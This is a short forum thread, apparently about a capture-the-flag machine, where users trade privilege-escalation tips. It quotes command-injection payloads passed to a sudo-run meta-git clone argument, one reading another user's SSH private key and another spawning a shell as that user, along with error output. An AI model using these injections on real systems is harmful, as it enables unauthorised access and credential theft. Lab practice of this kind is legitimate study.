(July 3, 2022, 07:21 AM)hacker1111 Wrote: (July 3, 2022, 07:11 AM)quick443 Wrote: finally got a user but I can not escalate to developer, with the payload that someone said before
sudo -u developer /usr/local/bin/meta-git clone 'test||cat /home/developer/.ssh/id_rsa'
meta git cloning into 'test||cat /home/developer/.ssh/id_rsa' at id_rsa
id_rsa:
id_rsa: command 'git clone test||cat /home/developer/.ssh/id_rsa id_rsa' exited with error: Error: spawnSync /bin/sh EACCES
use this from /tmp directory and u can just do this
sudo -u developer /usr/local/bin/meta-git clone 'test||bash'
Could you explain why this happens? Because it doesn't work in the home directory, but it works in /tmp